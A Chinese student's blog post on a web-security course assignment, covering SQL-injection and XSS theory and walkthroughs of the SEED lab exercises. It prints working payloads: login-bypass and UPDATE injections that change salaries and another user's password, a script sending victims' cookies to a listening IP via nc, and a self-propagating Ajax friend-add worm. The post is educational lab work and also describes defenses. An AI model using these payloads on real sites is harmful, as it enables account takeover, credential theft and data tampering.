Fork me on GitHub

20199104 2019-2020-2 《网络攻防实践》第十一周作业

20199104 2019-2020-2 《网络攻防实践》第十一周作业

1.实践内容

1.1 Web应用程序体系结构及其安全威胁

  • Web应用体系结构:由浏览器主要完成数据显示与展示内容的渲染(render)功能”;而由服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。服务器端则由Web服务器软件、Web应用程序及后端数据库构成,并通过经典的三层架构(three-tiers), 即表示层、业务逻辑层和数据层,来进行组织与构建。

    • 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取web信息和服务。
    • Web服务器:HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理,传送给Web应用程序来执行,Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。还有对各种Web动态编程语言的支持。
    • Web应用程序:Web应用程序是一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件。负责服务器端的业务逻辑处理,最为常见的三层体系结构:表示层:接受Web客户端的输入并显示结果。业务逻辑层(核心):从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。数据层:以数据库或本地文件的形式,提供非易失的信息存储。
    • 数据库:Web应用存储数据的地方。
    • 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
  • Web应用安全威胁

    • 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
    • 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
    • 系统层安全威胁:远程/本地渗透攻击。
    • Web服务器软件安全威胁:Web服务器软件存在着漏洞与弱点,可以实现渗透攻击。
    • Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。存在着被窃取、篡改及输入不良信息等威胁。

1.2 Web应用安全攻防技术概述

  • Web应用信息收集:对web应用服务进行分析,收集服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。

    • 手工审查Web应用程序结构与源代码

      • 查看静态和动态生成的页面。
      • 查看Web服务器的存储目录结构。
      • 查看辅助性文件。
      • 查看输入表单,发现关于表单的信息。
      • 查询参数字符串,。
    • 自动下载与镜像Web站点页面:查看源代码。

    • Google Hacking技术审查与探测Web应用程序:对于在大范围内搜索存有漏洞的Web应用程序、符合特定条件的敏感信息内容,以及在被Google检索的目标Web站点中搜索特定信息,GoogleHacking是一种最高效的审查与探测方法。

    • Web应用程序安全评估与漏洞探测:针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

  • 攻击Web服务器软件

    • 数据驱动的远程代码执行安全漏洞:会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
    • 服务器功能扩展模块漏洞:功能扩展质量问题,存在安全漏洞。IIS软件、Apache等扩展组件模块都存在漏洞。
    • 样本文件安全漏洞:Web应用服务器包含的样本文件存在漏洞。
    • 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
    • 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。缺乏合理性验证,导致目录遍历、敏感信息泄露、甚至代码注入攻击。
  • 攻击Web应用程序

    • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
    • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
    • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
    • 命令执行攻击:在web站点执行远程命令的攻击手段。
    • 信息暴露:获取web站点具体系统信息的攻击手段。
    • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
  • 攻击Web数据内容

    • 安全敏感数据泄露
      • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
      • 利用web服务器的上传目录临时中转文件。
      • 在web站点公开的文档资料中包含个人隐私、企业秘密、国家秘密。
    • 网站篡改:网站页面内容进行替换。
    • 不良信息内容上传:能上传不良信息。
  • Web应用安全防范措施

    • Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等,绑定MAC-IP映射。
    • Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描、关闭不使用服务等。
    • Web应用程序安全设防措施:在设计功能与使用应用程序时谨慎考虑,并且要多设置日志信息。
    • Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力、进行日常监测。

1.3 SQL注入攻击

  • SQL注入攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • SQL注入攻击例子:一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,

  • SQL注入攻击步骤

    • SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
    • 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
    • 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
    • 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
    • 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
    • 利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
  • 注入防范措施:

    • 分级管理:对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。
    • 参数传值:程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。
    • 基础过滤与二次过滤:SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。
    • 使用安全参数:在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。
    • 漏洞扫描:为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。
    • 多层验证:为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。
    • 数据库信息加密

1.4 XSS跨站脚本攻击

  • XSS原理:跨站脚本攻击,XSS的重点不在于跨站点,而在于脚本的执行。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,下载恶意脚本,造成获取用户敏感信息、客户端渗透攻击等后果。

  • XSS攻击类型:

    • 持久型XSS攻击(存储型XSS):主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
    • 非持久型XSS攻击(XSS反射型攻击):反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。为什么叫反射型XSS呢?那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的,而为什么又叫非持久性XSS呢?那是因为这种攻击方式只有一次性。比如:攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接的时候,注入脚本被传输到目标服务器上,然后服务器将注入脚本 "反射"到受害者的浏览器上,从而浏览器就执行了该脚本。
  • XSS攻击防范措施

    • 服务器端防范措施:安全过滤
      • 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
      • 输出净化:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
      • 消除危险的输入点:
    • 客户端防范措施:提高浏览器访问非受信网站时的安全等级,关闭Cookie功能,或设置Cookie只读。浏览器设置中关闭JavaScript。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 实践要求与环境

2.1.2 熟悉SQL语句

  • 参考sql教程,输入sql语句。

  • 使用指令mysql -u root -pseedubuntu登陆MySql数据库

  • 使用use Users;使用用户数据库show tables;打印所选数据库的所有表。

  • 下面我们使用WHERE 子句指令select * from credential where Name='Alice';

2.1.3 对SELECT语句的SQL注入攻击

  • 打开网站 SEEDLabSQLInjection.com,vim查看对应的原代码vim /var/www/SQLInjection/unsafe_home.php

  • 我们从下图可以知道,程序检查提供的用户名和密码的hash值是否与保存的匹配;如果匹配,则表明用户已成功通过身份验证,并获得了相应的信息。同时我们可以看到管理员的账户名是admin,那么当我们输入的username字段为Admin'#,即可成功攻击。因为#后面的语句被注释,无法执行,只进行了用户名的校验。


  • 利用命令行完成管理员的登录。使用Linux下的自带工具,curl。输入以下指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23&Password=9104'

  • 尝试修改数据,按照之前的方式构造数据Admin'; updata credential set salary='9104' where Name='Admin' #

  • 发现攻击失败,在大佬的指导下知道是阻止php调用多个语句的执行。

2.1.4 对UPDATE语句的SQL注入攻击

  • 查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php

  • 在NickName输入', salary='9104' where EID='10000';#后面的信息就会被注释掉

  • 过程如下,首先输入Alice '#登陆,输入', salary='9104' where EID='10000';#

  • 我们可以修改任意用户的Salary,如在Nickname输入', salary='9104' where name='Boby';#

  • 我们从代码可以看出password是使用了sha-1加密,我们可以将我们想要的密码进行sha-1之后,更改,然后登陆时即可.使用echo -n '9104'|sha1sum得到9104经过sha-1之后的值a80671a2f71df69ad1f96436e05773e0e0db3ebf.之后输入在Alice登陆,更改Boby的密码,还是在Nickname输入', Password='a80671a2f71df69ad1f96436e05773e0e0db3ebf' where Name='Boby';#我们可以看到成功登陆

2.1.5 SQL对抗,修复上述SQL注入攻击漏洞

  • SQL注入漏洞的根本问题是无法将代码与数据分离。当构造SQL语句时,程序(例如PHP程序)知道哪一部分是数据,哪一部分是数据是代码。不幸的是,当SQL语句被发送到数据库时,边界已经消失。要解决这个问题,重要的是要确保边界的视图是一致在服务器端代码和数据库中。最安全的方法是使用预处理语句。某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。预处理语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预处理语句能防止 SQL 注入。参考辅导pdf给出的代码

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 任务与环境

2.2.2 发布恶意消息以显示警告窗口

  • 进入网站http://www.xsslabelgg.com/输入账户alice和密码seedalice,打开Alice的个人页面,在Brief description中插入我们代码。结果如下图所示

2.2.3 发布恶意消息以显示cookie

  • 与上面一样,在Brief description中插入我们代码<script> alert(document.cookie);</script>。如下图所示

2.2.4 从受害者上偷cookie

  • 上面的获取cookie只是弹到了窗口里,这次要发送给自己。使用命令<script>document.write('<img src=http://192.168.43.19:6650?c='+escape(document.cookie) + ' >');</script>其中192.168.43.19是本机IP,6650是我挑的任意端口,使用nc -l 6650 -v监听端口,之后使用boby的账户登录,并且查看Alice的账户profile,就能够得到boby的cookie信息。

2.2.5 成为受害者的朋友

  • 使用HTTP Header Live查看发送的数据。看到形势为http://www.xsslabelgg.com/action/friends/add?friend=xx + ts=xx + token=xx;

  • 结合上文我们分析得到的信息,参考启龙的代码,进行学习

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//获得elgg_ts
	var token="&__elgg_token="+elgg.security.token.__elgg_token;//获得elgg_token


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //44是alice

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>
  • 将以上代码复制到Alice的About ME,使用Edit HTML模式,之后用用boby的账号访问Alice的个人主页可以看到


2.2.6 修改受害者的信息

  • 与前面的任务类似,我们需要编写一个伪造HTTP请求的恶意JavaScript程序。要修改配置文件,我们应该首先找出合法用户如何编辑或修改他/她在Elgg的个人资料。更具体地说,我们需要了解如何构造HTTP POST请求来修改用户的配置文件。我们将使用Firefox的HTTP检查工具。一旦我们理解了修改配置文件的HTTP POST请求是什么样子,我们就可以了编写一个JavaScript程序来发送相同的HTTP请求。

  • 可以看到请求地址的第一个参数是&__elgg_token=请求地址的第二个参数是&__elgg_ts=请求地址的第三个参数是&__name=elgg.session.user.name

  • 在About ME输入如下的代码,之后用boby的账号访问Alice的个人主页,返回看boby的个人主页会看到攻击成功

2.2.7 XSS蠕虫

  • 在上面代码中加入以下代码,即可


  • 使用charlie访问Boby的主页,我们在charlie中同样看到了相同的xss攻击请求。

2.2.8 对策

  • Elgg有一个内建的反措施来防御XSS攻击。我们利用管理员账户进行登录,找到Account->administration->plugins,并点击过滤的安全和垃圾邮件选项在页面的顶部。可以在下面找到HTMLawed插件。单击Activate以启用的对策。

3.学习中遇到的问题及解决

  • 问题1:没有JavaScript和sql的基础
  • 问题1解决方案:sql还能自己写写,但是JavaScript只能看懂大概说什么

4.实践总结

主要还是在于数据库、HTML、javascript这些基础知识没有。

参考资料

posted @ 2020-05-12 18:31  20199104许星霖  阅读(377)  评论(0编辑  收藏  举报